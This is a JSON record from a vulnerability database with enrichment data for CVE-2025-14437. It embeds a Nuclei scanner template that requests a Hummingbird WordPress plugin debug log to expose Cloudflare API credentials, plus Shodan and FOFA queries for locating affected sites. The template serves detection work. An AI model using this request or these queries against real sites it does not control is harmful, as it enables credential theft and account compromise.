{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-14437/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-14437/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-14437/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-14437/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-14437/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-14437/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2025-14437"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2025-14437"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-14437.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2025-14437\n\ninfo:\n  name: WordPress Hummingbird <= 3.18.0 - Sensitive Information Exposure via Log File\n  author: pussycat0x\n  severity: high\n  description: |\n    Hummingbird Performance WordPress plugin <= 3.18.0 contains a sensitive information exposure caused by improper handling in the 'request' function, letting unauthenticated attackers extract sensitive data including Cloudflare API credentials, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can extract sensitive credentials, leading to potential account compromise and further attacks.\n  remediation: |\n    Update to the latest version beyond 3.18.0.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hummingbird-performance/hummingbird-3180-unauthenticated-sensitive-information-exposure-via-log-files\n    - https://wpscan.com/vulnerability/cve-2025-14437\n    - https://plugins.trac.wordpress.org/changeset/3421187/hummingbird-performance\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2025-14437\n    epss-score: 0.01834\n    epss-percentile: 0.78998\n    cwe-id: CWE-532\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: wpmudev\n    product: hummingbird-performance\n    framework: wordpress\n    shodan-query: http.html:\"/wp-content/plugins/hummingbird-performance\"\n    fofa-query: body=\"/wp-content/plugins/hummingbird-performance\"\n  tags: cve,cve2025,wordpress,wp-plugin,hummingbird,exposure,cloudflare,wpmudev,vkev\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/wphb-logs/api-debug.log HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"WPHB\", \"X-Auth-Key\", \"X-Auth-Email\", \"Authorization\")'\n        condition: and\n# digest: 4a0a00473045022100cf4967f4dccfa0bcf6f2bb1aad5c141e1aa595b1d996c2c7e6521d926cf0a03902204449db6952562c3d12dcb70eb781797ed005222b8774582c6fb0aaed3ab64ae6:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-14437"}